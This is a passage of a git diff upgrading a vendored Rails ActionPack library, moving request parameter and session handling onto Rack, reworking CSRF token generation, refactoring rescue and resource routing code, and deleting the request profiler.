     def parameters
       @parameters ||= request_parameters.merge(query_parameters).update(path_parameters).with_indifferent_access
     end
+    alias_method :params, :parameters
 
     def path_parameters=(parameters) #:nodoc:
-      @path_parameters = parameters
+      @env["action_controller.request.path_parameters"] = parameters
       @symbolized_path_parameters = @parameters = nil
     end
 
@@ -409,464 +403,91 @@ EOM
     #
     # See <tt>symbolized_path_parameters</tt> for symbolized keys.
     def path_parameters
-      @path_parameters ||= {}
+      @env["action_controller.request.path_parameters"] ||= {}
     end
 
     # The request body is an IO input stream. If the RAW_POST_DATA environment
     # variable is already set, wrap it in a StringIO.
     def body
-      if raw_post = env['RAW_POST_DATA']
+      if raw_post = @env['RAW_POST_DATA']
         raw_post.force_encoding(Encoding::BINARY) if raw_post.respond_to?(:force_encoding)
         StringIO.new(raw_post)
       else
-        body_stream
+        @env['rack.input']
       end
     end
 
-    def remote_addr
-      @env['REMOTE_ADDR']
+    def form_data?
+      FORM_DATA_MEDIA_TYPES.include?(content_type.to_s)
     end
 
-    def referrer
-      @env['HTTP_REFERER']
+    # Override Rack's GET method to support indifferent access
+    def GET
+      @env["action_controller.request.query_parameters"] ||= normalize_parameters(super)
     end
-    alias referer referrer
+    alias_method :query_parameters, :GET
 
-
-    def query_parameters
-      @query_parameters ||= self.class.parse_query_parameters(query_string)
+    # Override Rack's POST method to support indifferent access
+    def POST
+      @env["action_controller.request.request_parameters"] ||= normalize_parameters(super)
     end
-
-    def request_parameters
-      @request_parameters ||= parse_formatted_request_parameters
-    end
-
-
-    #--
-    # Must be implemented in the concrete request
-    #++
+    alias_method :request_parameters, :POST
 
     def body_stream #:nodoc:
+      @env['rack.input']
     end
 
-    def cookies #:nodoc:
-    end
-
-    def session #:nodoc:
+    def session
+      @env['rack.session'] ||= {}
     end
 
     def session=(session) #:nodoc:
-      @session = session
+      @env['rack.session'] = session
     end
 
-    def reset_session #:nodoc:
+    def reset_session
+      @env['rack.session.options'].delete(:id)
+      @env['rack.session'] = {}
     end
 
-    protected
-      # The raw content type string. Use when you need parameters such as
-      # charset or boundary which aren't included in the content_type MIME type.
-      # Overridden by the X-POST_DATA_FORMAT header for backward compatibility.
-      def content_type_with_parameters
-        content_type_from_legacy_post_data_format_header ||
-          env['CONTENT_TYPE'].to_s
-      end
+    def session_options
+      @env['rack.session.options'] ||= {}
+    end
 
-      # The raw content type string with its parameters stripped off.
-      def content_type_without_parameters
-        self.class.extract_content_type_without_parameters(content_type_with_parameters)
-      end
-      memoize :content_type_without_parameters
+    def session_options=(options)
+      @env['rack.session.options'] = options
+    end
+
+    def server_port
+      @env['SERVER_PORT'].to_i
+    end
 
     private
-      def content_type_from_legacy_post_data_format_header
-        if x_post_format = @env['HTTP_X_POST_DATA_FORMAT']
-          case x_post_format.to_s.downcase
-            when 'yaml';  'application/x-yaml'
-            when 'xml';   'application/xml'
-          end
-        end
-      end
-
-      def parse_formatted_request_parameters
-        return {} if content_length.zero?
-
-        content_type, boundary = self.class.extract_multipart_boundary(content_type_with_parameters)
-
-        # Don't parse params for unknown requests.
-        return {} if content_type.blank?
-
-        mime_type = Mime::Type.lookup(content_type)
-        strategy = ActionController::Base.param_parsers[mime_type]
-
-        # Only multipart form parsing expects a stream.
-        body = (strategy && strategy != :multipart_form) ? raw_post : self.body
-
-        case strategy
-          when Proc
-            strategy.call(body)
-          when :url_encoded_form
-            self.class.clean_up_ajax_request_body! body
-            self.class.parse_query_parameters(body)
-          when :multipart_form
-            self.class.parse_multipart_form_parameters(body, boundary, content_length, env)
-          when :xml_simple, :xml_node
-            body.blank? ? {} : Hash.from_xml(body).with_indifferent_access
-          when :yaml
-            YAML.load(body)
-          when :json
-            if body.blank?
-              {}
-            else
-              data = ActiveSupport::JSON.decode(body)
-              data = {:_json => data} unless data.is_a?(Hash)
-              data.with_indifferent_access
-            end
-          else
-            {}
-        end
-      rescue Exception => e # YAML, XML or Ruby code block errors
-        raise
-        { "body" => body,
-          "content_type" => content_type_with_parameters,
-          "content_length" => content_length,
-          "exception" => "#{e.message} (#{e.class})",
-          "backtrace" => e.backtrace }
-      end
-
       def named_host?(host)
         !(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
       end
 
-    class << self
-      def parse_query_parameters(query_string)
-        return {} if query_string.blank?
-
-        pairs = query_string.split('&').collect do |chunk|
-          next if chunk.empty?
-          key, value = chunk.split('=', 2)
-          next if key.empty?
-          value = value.nil? ? nil : CGI.unescape(value)
-          [ CGI.unescape(key), value ]
-        end.compact
-
-        UrlEncodedPairParser.new(pairs).result
-      end
-
-      def parse_request_parameters(params)
-        parser = UrlEncodedPairParser.new
-
-        params = params.dup
-        until params.empty?
-          for key, value in params
-            if key.blank?
-              params.delete key
-            elsif !key.include?('[')
-              # much faster to test for the most common case first (GET)
-              # and avoid the call to build_deep_hash
-              parser.result[key] = get_typed_value(value[0])
-              params.delete key
-            elsif value.is_a?(Array)
-              parser.parse(key, get_typed_value(value.shift))
-              params.delete key if value.empty?
-            else
-              raise TypeError, "Expected array, found #{value.inspect}"
-            end
-          end
-        end
-
-        parser.result
-      end
-
-      def parse_multipart_form_parameters(body, boundary, body_size, env)
-        parse_request_parameters(read_multipart(body, boundary, body_size, env))
-      end
-
-      def extract_multipart_boundary(content_type_with_parameters)
-        if content_type_with_parameters =~ MULTIPART_BOUNDARY
-          ['multipart/form-data', $1.dup]
-        else
-          extract_content_type_without_parameters(content_type_with_parameters)
-        end
-      end
-
-      def extract_content_type_without_parameters(content_type_with_parameters)
-        $1.strip.downcase if content_type_with_parameters =~ /^([^,\;]*)/
-      end
-
-      def clean_up_ajax_request_body!(body)
-        body.chop! if body[-1] == 0
-        body.gsub!(/&_=$/, '')
-      end
-
-
-      private
-        def get_typed_value(value)
-          case value
-            when String
-              value
-            when NilClass
-              ''
-            when Array
-              value.map { |v| get_typed_value(v) }
-            else
-              if value.respond_to? :original_filename
-                # Uploaded file
-                if value.original_filename
-                  value
-                # Multipart param
-                else
-                  result = value.read
-                  value.rewind
-                  result
-                end
-              # Unknown value, neither string nor multipart.
-              else
-                raise "Unknown form value: #{value.inspect}"
-              end
-          end
-        end
-
-        MULTIPART_BOUNDARY = %r|\Amultipart/form-data.*boundary=\"?([^\";,]+)\"?|n
-
-        EOL = "\015\012"
-
-        def read_multipart(body, boundary, body_size, env)
-          params = Hash.new([])
-          boundary = "--" + boundary
-          quoted_boundary = Regexp.quote(boundary)
-          buf = ""
-          bufsize = 10 * 1024
-          boundary_end=""
-
-          # start multipart/form-data
-          body.binmode if defined? body.binmode
-          case body
-          when File
-            body.set_encoding(Encoding::BINARY) if body.respond_to?(:set_encoding)
-          when StringIO
-            body.string.force_encoding(Encoding::BINARY) if body.string.respond_to?(:force_encoding)
-          end
-          boundary_size = boundary.size + EOL.size
-          body_size -= boundary_size
-          status = body.read(boundary_size)
-          if nil == status
-            raise EOFError, "no content body"
-          elsif boundary + EOL != status
-            raise EOFError, "bad content body"
-          end
-
-          loop do
-            head = nil
-            content =
-              if 10240 < body_size
-                UploadedTempfile.new("CGI")
-              else
-                UploadedStringIO.new
-              end
-            content.binmode if defined? content.binmode
-
-            until head and /#{quoted_boundary}(?:#{EOL}|--)/n.match(buf)
-
-              if (not head) and /#{EOL}#{EOL}/n.match(buf)
-                buf = buf.sub(/\A((?:.|\n)*?#{EOL})#{EOL}/n) do
-                  head = $1.dup
-                  ""
-                end
-                next
-              end
-
-              if head and ( (EOL + boundary + EOL).size < buf.size )
-                content.print buf[0 ... (buf.size - (EOL + boundary + EOL).size)]
-                buf[0 ... (buf.size - (EOL + boundary + EOL).size)] = ""
-              end
-
-              c = if bufsize < body_size
-                    body.read(bufsize)
-                  else
-                    body.read(body_size)
-                  end
-              if c.nil? || c.empty?
-                raise EOFError, "bad content body"
-              end
-              buf.concat(c)
-              body_size -= c.size
-            end
-
-            buf = buf.sub(/\A((?:.|\n)*?)(?:[\r\n]{1,2})?#{quoted_boundary}([\r\n]{1,2}|--)/n) do
-              content.print $1
-              if "--" == $2
-                body_size = -1
-              end
-              boundary_end = $2.dup
-              ""
-            end
-
-            content.rewind
-
-            head =~ /Content-Disposition:.* filename=(?:"((?:\\.|[^\"])*)"|([^;]*))/ni
-            if filename = $1 || $2
-              if /Mac/ni.match(env['HTTP_USER_AGENT']) and
-                  /Mozilla/ni.match(env['HTTP_USER_AGENT']) and
-                  (not /MSIE/ni.match(env['HTTP_USER_AGENT']))
-                filename = CGI.unescape(filename)
-              end
-              content.original_path = filename.dup
-            end
-
-            head =~ /Content-Type: ([^\r]*)/ni
-            content.content_type = $1.dup if $1
-
-            head =~ /Content-Disposition:.* name="?([^\";]*)"?/ni
-            name = $1.dup if $1
-
-            if params.has_key?(name)
-              params[name].push(content)
-            else
-              params[name] = [content]
-            end
-            break if body_size == -1
-          end
-          raise EOFError, "bad boundary end of body part" unless boundary_end=~/--/
-
-          begin
-            body.rewind if body.respond_to?(:rewind)
-          rescue Errno::ESPIPE
-            # Handles exceptions raised by input streams that cannot be rewound
-            # such as when using plain CGI under Apache
-          end
-
-          params
-        end
-    end
-  end
-
-  class UrlEncodedPairParser < StringScanner #:nodoc:
-    attr_reader :top, :parent, :result
-
-    def initialize(pairs = [])
-      super('')
-      @result = {}
-      pairs.each { |key, value| parse(key, value) }
-    end
-
-    KEY_REGEXP = %r{([^\[\]=&]+)}
-    BRACKETED_KEY_REGEXP = %r{\[([^\[\]=&]+)\]}
-
-    # Parse the query string
-    def parse(key, value)
-      self.string = key
-      @top, @parent = result, nil
-
-      # First scan the bare key
-      key = scan(KEY_REGEXP) or return
-      key = post_key_check(key)
-
-      # Then scan as many nestings as present
-      until eos?
-        r = scan(BRACKETED_KEY_REGEXP) or return
-        key = self[1]
-        key = post_key_check(key)
-      end
-
-      bind(key, value)
-    end
-
-    private
-      # After we see a key, we must look ahead to determine our next action. Cases:
-      #
-      #   [] follows the key. Then the value must be an array.
-      #   = follows the key. (A value comes next)
-      #   & or the end of string follows the key. Then the key is a flag.
-      #   otherwise, a hash follows the key.
-      def post_key_check(key)
-        if scan(/\[\]/) # a[b][] indicates that b is an array
-          container(key, Array)
-          nil
-        elsif check(/\[[^\]]/) # a[b] indicates that a is a hash
-          container(key, Hash)
-          nil
-        else # End of key? We do nothing.
-          key
-        end
-      end
-
-      # Add a container to the stack.
-      def container(key, klass)
-        type_conflict! klass, top[key] if top.is_a?(Hash) && top.key?(key) && ! top[key].is_a?(klass)
-        value = bind(key, klass.new)
-        type_conflict! klass, value unless value.is_a?(klass)
-        push(value)
-      end
-
-      # Push a value onto the 'stack', which is actually only the top 2 items.
-      def push(value)
-        @parent, @top = @top, value
-      end
-
-      # Bind a key (which may be nil for items in an array) to the provided value.
-      def bind(key, value)
-        if top.is_a? Array
-          if key
-            if top[-1].is_a?(Hash) && ! top[-1].key?(key)
-              top[-1][key] = value
-            else
-              top << {key => value}.with_indifferent_access
-              push top.last
-              value = top[key]
-            end
+      # Convert nested Hashs to HashWithIndifferentAccess and replace
+      # file upload hashs with UploadedFile objects
+      def normalize_parameters(value)
+        case value
+        when Hash
+          if value.has_key?(:tempfile)
+            upload = value[:tempfile]
+            upload.extend(UploadedFile)
+            upload.original_path = value[:filename]
+            upload.content_type = value[:type]
+            upload
           else
-            top << value
+            h = {}
+            value.each { |k, v| h[k] = normalize_parameters(v) }
+            h.with_indifferent_access
           end
-        elsif top.is_a? Hash
-          key = CGI.unescape(key)
-          parent << (@top = {}) if top.key?(key) && parent.is_a?(Array)
-          top[key] ||= value
-          return top[key]
+        when Array
+          value.map { |e| normalize_parameters(e) }
         else
-          raise ArgumentError, "Don't know what to do: top is #{top.inspect}"
+          value
         end
-
-        return value
       end
-
-      def type_conflict!(klass, value)
-        raise TypeError, "Conflicting types for parameter containers. Expected an instance of #{klass} but found an instance of #{value.class}. This can be caused by colliding Array and Hash parameters like qs[]=value&qs[key]=value. (The parameters received were #{value.inspect}.)"
-      end
-  end
-
-  module UploadedFile
-    def self.included(base)
-      base.class_eval do
-        attr_accessor :original_path, :content_type
-        alias_method :local_path, :path
-      end
-    end
-
-    # Take the basename of the upload's original filename.
-    # This handles the full Windows paths given by Internet Explorer
-    # (and perhaps other broken user agents) without affecting
-    # those which give the lone filename.
-    # The Windows regexp is adapted from Perl's File::Basename.
-    def original_filename
-      unless defined? @original_filename
-        @original_filename =
-          unless original_path.blank?
-            if original_path =~ /^(?:.*[:\\\/])?(.*)/m
-              $1
-            else
-              File.basename original_path
-            end
-          end
-      end
-      @original_filename
-    end
-  end
-
-  class UploadedStringIO < StringIO
-    include UploadedFile
-  end
-
-  class UploadedTempfile < Tempfile
-    include UploadedFile
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb b/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb
index 3e0e94a0..24821fff 100644
--- a/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb
+++ b/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb
@@ -5,8 +5,6 @@ module ActionController #:nodoc:
   module RequestForgeryProtection
     def self.included(base)
       base.class_eval do
-        class_inheritable_accessor :request_forgery_protection_options
-        self.request_forgery_protection_options = {}
         helper_method :form_authenticity_token
         helper_method :protect_against_forgery?
       end
@@ -14,7 +12,7 @@ module ActionController #:nodoc:
     end
     
     # Protecting controller actions from CSRF attacks by ensuring that all forms are coming from the current web application, not a
-    # forged link from another site, is done by embedding a token based on the session (which an attacker wouldn't know) in all
+    # forged link from another site, is done by embedding a token based on a random string stored in the session (which an attacker wouldn't know) in all
     # forms and Ajax requests generated by Rails and then verifying the authenticity of that token in the controller.  Only
     # HTML/JavaScript requests are checked, so this will not protect your XML API (presumably you'll have a different authentication
     # scheme there anyway).  Also, GET requests are not protected as these should be idempotent anyway.
@@ -57,12 +55,8 @@ module ActionController #:nodoc:
       # Example:
       #
       #   class FooController < ApplicationController
-      #     # uses the cookie session store (then you don't need a separate :secret)
       #     protect_from_forgery :except => :index
       #
-      #     # uses one of the other session stores that uses a session_id value.
-      #     protect_from_forgery :secret => 'my-little-pony', :except => :index
-      #
       #     # you can disable csrf protection on controller-by-controller basis:
       #     skip_before_filter :verify_authenticity_token
       #   end
@@ -70,13 +64,12 @@ module ActionController #:nodoc:
       # Valid Options:
       #
       # * <tt>:only/:except</tt> - Passed to the <tt>before_filter</tt> call.  Set which actions are verified.
-      # * <tt>:secret</tt> - Custom salt used to generate the <tt>form_authenticity_token</tt>.
-      #   Leave this off if you are using the cookie session store.
-      # * <tt>:digest</tt> - Message digest used for hashing.  Defaults to 'SHA1'.
       def protect_from_forgery(options = {})
         self.request_forgery_protection_token ||= :authenticity_token
         before_filter :verify_authenticity_token, :only => options.delete(:only), :except => options.delete(:except)
-        request_forgery_protection_options.update(options)
+        if options[:secret] || options[:digest]
+          ActiveSupport::Deprecation.warn("protect_from_forgery only takes :only and :except options now. :digest and :secret have no effect", caller)
+        end
       end
     end
 
@@ -88,16 +81,21 @@ module ActionController #:nodoc:
       
       # Returns true or false if a request is verified.  Checks:
       #
-      # * is the format restricted?  By default, only HTML and AJAX requests are checked.
+      # * is the format restricted?  By default, only HTML requests are checked.
       # * is it a GET request?  Gets should be safe and idempotent
-      # * Does the form_authenticity_token match the given _token value from the params?
+      # * Does the form_authenticity_token match the given token value from the params?
       def verified_request?
         !protect_against_forgery?     ||
           request.method == :get      ||
+          request.xhr?                ||
           !verifiable_request_format? ||
-          form_authenticity_token == params[request_forgery_protection_token]
+          form_authenticity_token == form_authenticity_param
       end
-    
+
+      def form_authenticity_param
+        params[request_forgery_protection_token]
+      end
+
       def verifiable_request_format?
         !request.content_type.nil? && request.content_type.verify_request?
       end
@@ -105,34 +103,9 @@ module ActionController #:nodoc:
       # Sets the token value for the current session.  Pass a <tt>:secret</tt> option
       # in +protect_from_forgery+ to add a custom salt to the hash.
       def form_authenticity_token
-        @form_authenticity_token ||= if !session.respond_to?(:session_id)
-          raise InvalidAuthenticityToken, "Request Forgery Protection requires a valid session.  Use #allow_forgery_protection to disable it, or use a valid session."
-        elsif request_forgery_protection_options[:secret]
-          authenticity_token_from_session_id
-        elsif session.respond_to?(:dbman) && session.dbman.respond_to?(:generate_digest)
-          authenticity_token_from_cookie_session
-        else
-          raise InvalidAuthenticityToken, "No :secret given to the #protect_from_forgery call.  Set that or use a session store capable of generating its own keys (Cookie Session Store)."
-        end
+        session[:_csrf_token] ||= ActiveSupport::SecureRandom.base64(32)
       end
-      
-      # Generates a unique digest using the session_id and the CSRF secret.
-      def authenticity_token_from_session_id
-        key = if request_forgery_protection_options[:secret].respond_to?(:call)
-          request_forgery_protection_options[:secret].call(@session)
-        else
-          request_forgery_protection_options[:secret]
-        end
-        digest = request_forgery_protection_options[:digest] ||= 'SHA1'
-        OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(digest), key.to_s, session.session_id.to_s)
-      end
-      
-      # No secret was given, so assume this is a cookie session store.
-      def authenticity_token_from_cookie_session
-        session[:csrf_id] ||= CGI::Session.generate_unique_id
-        session.dbman.generate_digest(session[:csrf_id])
-      end
-      
+
       def protect_against_forgery?
         allow_forgery_protection && request_forgery_protection_token
       end
diff --git a/vendor/rails/actionpack/lib/action_controller/request_profiler.rb b/vendor/rails/actionpack/lib/action_controller/request_profiler.rb
deleted file mode 100644
index a6471d0c..00000000
--- a/vendor/rails/actionpack/lib/action_controller/request_profiler.rb
+++ /dev/null
@@ -1,169 +0,0 @@
-require 'optparse'
-require 'action_controller/integration'
-
-module ActionController
-  class RequestProfiler
-    # Wrap up the integration session runner.
-    class Sandbox
-      include Integration::Runner
-
-      def self.benchmark(n, script)
-        new(script).benchmark(n)
-      end
-
-      def initialize(script_path)
-        @quiet = false
-        define_run_method(script_path)
-        reset!
-      end
-
-      def benchmark(n, profiling = false)
-        @quiet = true
-        print '  '
-
-        result = Benchmark.realtime do
-          n.times do |i|
-            run(profiling)
-            print_progress(i)
-          end
-        end
-
-        puts
-        result
-      ensure
-        @quiet = false
-      end
-
-      def say(message)
-        puts "  #{message}" unless @quiet
-      end
-
-      private
-        def define_run_method(script_path)
-          script = File.read(script_path)
-
-          source = <<-end_source
-            def run(profiling = false)
-              if profiling
-                RubyProf.resume do
-                  #{script}
-                end
-              else
-                #{script}
-              end
-
-              old_request_count = request_count
-              reset!
-              self.request_count = old_request_count
-            end
-          end_source
-
-          instance_eval source, script_path, 1
-        end
-
-        def print_progress(i)
-          print "\n  " if i % 60 == 0
-          print ' ' if i % 10 == 0
-          print '.'
-          $stdout.flush
-        end
-    end
-
-
-    attr_reader :options
-
-    def initialize(options = {})
-      @options = default_options.merge(options)
-    end
-
-
-    def self.run(args = nil, options = {})
-      profiler = new(options)
-      profiler.parse_options(args) if args
-      profiler.run
-    end
-
-    def run
-      sandbox = Sandbox.new(options[:script])
-
-      puts 'Warming up once'
-
-      elapsed = warmup(sandbox)
-      puts '%.2f sec, %d requests, %d req/sec' % [elapsed, sandbox.request_count, sandbox.request_count / elapsed]
-      puts "\n#{options[:benchmark] ? 'Benchmarking' : 'Profiling'} #{options[:n]}x"
-
-      options[:benchmark] ? benchmark(sandbox) : profile(sandbox)
-    end
-
-    def profile(sandbox)
-      load_ruby_prof
-
-      benchmark(sandbox, true)
-      results = RubyProf.stop
-
-      show_profile_results results
-      results
-    end
-
-    def benchmark(sandbox, profiling = false)
-      sandbox.request_count = 0
-      elapsed = sandbox.benchmark(options[:n], profiling).to_f
-      count = sandbox.request_count.to_i
-      puts '%.2f sec, %d requests, %d req/sec' % [elapsed, count, count / elapsed]
-    end
-
-    def warmup(sandbox)
-      Benchmark.realtime { sandbox.run(false) }
-    end
-
-    def default_options
-      { :n => 100, :open => 'open %s &' }
-    end
-
-    # Parse command-line options
-    def parse_options(args)
-      OptionParser.new do |opt|
-        opt.banner = "USAGE: #{$0} [options] [session script path]"
-
-        opt.on('-n', '--times [100]', 'How many requests to process. Defaults to 100.') { |v| options[:n] = v.to_i if v }
-        opt.on('-b', '--benchmark', 'Benchmark instead of profiling') { |v| options[:benchmark] = v }
-        opt.on('-m', '--measure [mode]', 'Which ruby-prof measure mode to use: process_time, wall_time, cpu_time, allocations, or memory. Defaults to process_time.') { |v| options[:measure] = v }
-        opt.on('--open [CMD]', 'Command to open profile results. Defaults to "open %s &"') { |v| options[:open] = v }
-        opt.on('-h', '--help', 'Show this help') { puts opt; exit }
-
-        opt.parse args
-
-        if args.empty?
-          puts opt
-          exit
-        end
-        options[:script] = args.pop
-      end
-    end
-
-    protected
-      def load_ruby_prof
-        begin
-          gem 'ruby-prof', '>= 0.6.1'
-          require 'ruby-prof'
-          if mode = options[:measure]
-            RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
-          end
-        rescue LoadError
-          abort '`gem install ruby-prof` to use the profiler'
-        end
-      end
-
-      def show_profile_results(results)
-        File.open "#{RAILS_ROOT}/tmp/profile-graph.html", 'w' do |file|
-          RubyProf::GraphHtmlPrinter.new(results).print(file)
-          `#{options[:open] % file.path}` if options[:open]
-        end
-
-        File.open "#{RAILS_ROOT}/tmp/profile-flat.txt", 'w' do |file|
-          RubyProf::FlatPrinter.new(results).print(file)
-          `#{options[:open] % file.path}` if options[:open]
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/rescue.rb b/vendor/rails/actionpack/lib/action_controller/rescue.rb
index ec8e9b92..242c8da9 100644
--- a/vendor/rails/actionpack/lib/action_controller/rescue.rb
+++ b/vendor/rails/actionpack/lib/action_controller/rescue.rb
@@ -1,13 +1,19 @@
 module ActionController #:nodoc:
-  # Actions that fail to perform as expected throw exceptions. These exceptions can either be rescued for the public view
-  # (with a nice user-friendly explanation) or for the developers view (with tons of debugging information). The developers view
-  # is already implemented by the Action Controller, but the public view should be tailored to your specific application. 
-  # 
-  # The default behavior for public exceptions is to render a static html file with the name of the error code thrown.  If no such 
-  # file exists, an empty response is sent with the correct status code.
+  # Actions that fail to perform as expected throw exceptions. These
+  # exceptions can either be rescued for the public view (with a nice
+  # user-friendly explanation) or for the developers view (with tons of
+  # debugging information). The developers view is already implemented by
+  # the Action Controller, but the public view should be tailored to your
+  # specific application.
   #
-  # You can override what constitutes a local request by overriding the <tt>local_request?</tt> method in your own controller.
-  # Custom rescue behavior is achieved by overriding the <tt>rescue_action_in_public</tt> and <tt>rescue_action_locally</tt> methods.
+  # The default behavior for public exceptions is to render a static html
+  # file with the name of the error code thrown.  If no such file exists, an
+  # empty response is sent with the correct status code.
+  #
+  # You can override what constitutes a local request by overriding the
+  # <tt>local_request?</tt> method in your own controller. Custom rescue
+  # behavior is achieved by overriding the <tt>rescue_action_in_public</tt>
+  # and <tt>rescue_action_locally</tt> methods.
   module Rescue
     LOCALHOST = '127.0.0.1'.freeze
 
@@ -32,6 +38,9 @@ module ActionController #:nodoc:
       'ActionView::TemplateError'         => 'template_error'
     }
 
+    RESCUES_TEMPLATE_PATH = ActionView::Template::EagerPath.new_and_loaded(
+      File.join(File.dirname(__FILE__), "templates"))
+
     def self.included(base) #:nodoc:
       base.cattr_accessor :rescue_responses
       base.rescue_responses = Hash.new(DEFAULT_RESCUE_RESPONSE)
@@ -50,47 +59,60 @@ module ActionController #:nodoc:
     end
 
     module ClassMethods
-      def process_with_exception(request, response, exception) #:nodoc:
+      def call_with_exception(env, exception) #:nodoc:
+        request = env["action_controller.rescue.request"] ||= Request.new(env)
+        response = env["action_controller.rescue.response"] ||= Response.new
         new.process(request, response, :rescue_action, exception)
       end
     end
 
     protected
-      # Exception handler called when the performance of an action raises an exception.
+      # Exception handler called when the performance of an action raises
+      # an exception.
       def rescue_action(exception)
-        rescue_with_handler(exception) || rescue_action_without_handler(exception)
+        rescue_with_handler(exception) ||
+          rescue_action_without_handler(exception)
       end
 
-      # Overwrite to implement custom logging of errors. By default logs as fatal.
+      # Overwrite to implement custom logging of errors. By default
+      # logs as fatal.
       def log_error(exception) #:doc:
         ActiveSupport::Deprecation.silence do
           if ActionView::TemplateError === exception
             logger.fatal(exception.to_s)
           else
             logger.fatal(
-              "\n\n#{exception.class} (#{exception.message}):\n    " +
-              clean_backtrace(exception).join("\n    ") +
-              "\n\n"
+              "\n#{exception.class} (#{exception.message}):\n  " +
+              clean_backtrace(exception).join("\n  ") + "\n\n"
             )
           end
         end
       end
 
-      # Overwrite to implement public exception handling (for requests answering false to <tt>local_request?</tt>).  By
-      # default will call render_optional_error_file.  Override this method to provide more user friendly error messages.
+      # Overwrite to implement public exception handling (for requests
+      # answering false to <tt>local_request?</tt>).  By default will call
+      # render_optional_error_file.  Override this method to provide more
+      # user friendly error messages.
       def rescue_action_in_public(exception) #:doc:
         render_optional_error_file response_code_for_rescue(exception)
       end
-      
-      # Attempts to render a static error page based on the <tt>status_code</tt> thrown,
-      # or just return headers if no such file exists. For example, if a 500 error is 
-      # being handled Rails will first attempt to render the file at <tt>public/500.html</tt>. 
-      # If the file doesn't exist, the body of the response will be left empty.
+
+      # Attempts to render a static error page based on the
+      # <tt>status_code</tt> thrown, or just return headers if no such file
+      # exists. At first, it will try to render a localized static page.
+      # For example, if a 500 error is being handled Rails and locale is :da,
+      # it will first attempt to render the file at <tt>public/500.da.html</tt>
+      # then attempt to render <tt>public/500.html</tt>. If none of them exist,
+      # the body of the response will be left empty.
       def render_optional_error_file(status_code)
         status = interpret_status(status_code)
+        locale_path = "#{Rails.public_path}/#{status[0,3]}.#{I18n.locale}.html" if I18n.locale
         path = "#{Rails.public_path}/#{status[0,3]}.html"
-        if File.exist?(path)
-          render :file => path, :status => status
+
+        if locale_path && File.exist?(locale_path)
+          render :file => locale_path, :status => status, :content_type => Mime::HTML
+        elsif File.exist?(path)
+          render :file => path, :status => status, :content_type => Mime::HTML
         else
           head status
         end
@@ -107,11 +129,13 @@ module ActionController #:nodoc:
       # a controller action.
       def rescue_action_locally(exception)
         @template.instance_variable_set("@exception", exception)
-        @template.instance_variable_set("@rescues_path", File.dirname(rescues_path("stub")))
-        @template.instance_variable_set("@contents", @template.render(:file => template_path_for_local_rescue(exception)))
+        @template.instance_variable_set("@rescues_path", RESCUES_TEMPLATE_PATH)
+        @template.instance_variable_set("@contents",
+          @template.render(:file => template_path_for_local_rescue(exception)))
 
         response.content_type = Mime::HTML
-        render_for_file(rescues_path("layout"), response_code_for_rescue(exception))
+        render_for_file(rescues_path("layout"),
+          response_code_for_rescue(exception))
       end
 
       def rescue_action_without_handler(exception)
@@ -139,7 +163,7 @@ module ActionController #:nodoc:
       end
 
       def rescues_path(template_name)
-        "#{File.dirname(__FILE__)}/templates/rescues/#{template_name}.erb"
+        RESCUES_TEMPLATE_PATH["rescues/#{template_name}.erb"]
       end
 
       def template_path_for_local_rescue(exception)
@@ -151,13 +175,9 @@ module ActionController #:nodoc:
       end
 
       def clean_backtrace(exception)
-        if backtrace = exception.backtrace
-          if defined?(RAILS_ROOT)
-            backtrace.map { |line| line.sub RAILS_ROOT, '' }
-          else
-            backtrace
-          end
-        end
+        defined?(Rails) && Rails.respond_to?(:backtrace_cleaner) ?
+          Rails.backtrace_cleaner.clean(exception.backtrace) :
+          exception.backtrace
       end
   end
 end
diff --git a/vendor/rails/actionpack/lib/action_controller/resources.rb b/vendor/rails/actionpack/lib/action_controller/resources.rb
index 7700b9d4..8c2080e5 100644
--- a/vendor/rails/actionpack/lib/action_controller/resources.rb
+++ b/vendor/rails/actionpack/lib/action_controller/resources.rb
@@ -42,7 +42,7 @@ module ActionController
   #
   # Read more about REST at http://en.wikipedia.org/wiki/Representational_State_Transfer
   module Resources
-    INHERITABLE_OPTIONS = :namespace, :shallow, :actions
+    INHERITABLE_OPTIONS = :namespace, :shallow
 
     class Resource #:nodoc:
       DEFAULT_ACTIONS = :index, :create, :new, :edit, :show, :update, :destroy
@@ -91,7 +91,7 @@ module ActionController
       end
 
       def shallow_path_prefix
-        @shallow_path_prefix ||= "#{path_prefix unless @options[:shallow]}"
+        @shallow_path_prefix ||= @options[:shallow] ? @options[:namespace].try(:sub, /\/$/, '') : path_prefix
       end
 
       def member_path
@@ -103,7 +103,7 @@ module ActionController
       end
 
       def shallow_name_prefix
-        @shallow_name_prefix ||= "#{name_prefix unless @options[:shallow]}"
+        @shallow_name_prefix ||= @options[:shallow] ? @options[:namespace].try(:gsub, /\//, '_') : name_prefix
       end
 
       def nesting_name_prefix
@@ -119,7 +119,7 @@ module ActionController
       end
 
       def has_action?(action)
-        !DEFAULT_ACTIONS.include?(action) || @options[:actions].nil? || @options[:actions].include?(action)
+        !DEFAULT_ACTIONS.include?(action) || action_allowed?(action)
       end
 
       protected
@@ -135,22 +135,27 @@ module ActionController
         end
 
         def set_allowed_actions
-          only    = @options.delete(:only)
-          except  = @options.delete(:except)
+          only, except = @options.values_at(:only, :except)
+          @allowed_actions ||= {}
 
-          if only && except
-            raise ArgumentError, 'Please supply either :only or :except, not both.'
-          elsif only == :all || except == :none
-            options[:actions] = DEFAULT_ACTIONS
+          if only == :all || except == :none
+            only = nil
+            except = []
           elsif only == :none || except == :all
-            options[:actions] = []
-          elsif only
-            options[:actions] = DEFAULT_ACTIONS & Array(only).map(&:to_sym)
-          elsif except
-            options[:actions] = DEFAULT_ACTIONS - Array(except).map(&:to_sym)
-          else
-            # leave options[:actions] alone
+            only = []
+            except = nil
           end
+
+          if only
+            @allowed_actions[:only] = Array(only).map(&:to_sym)
+          elsif except
+            @allowed_actions[:except] = Array(except).map(&:to_sym)
+          end
+        end
+
+        def action_allowed?(action)
+          only, except = @allowed_actions.values_at(:only, :except)
+          (!only || only.include?(action)) && (!except || !except.include?(action))
         end
 
         def set_prefixes
@@ -283,7 +288,12 @@ module ActionController
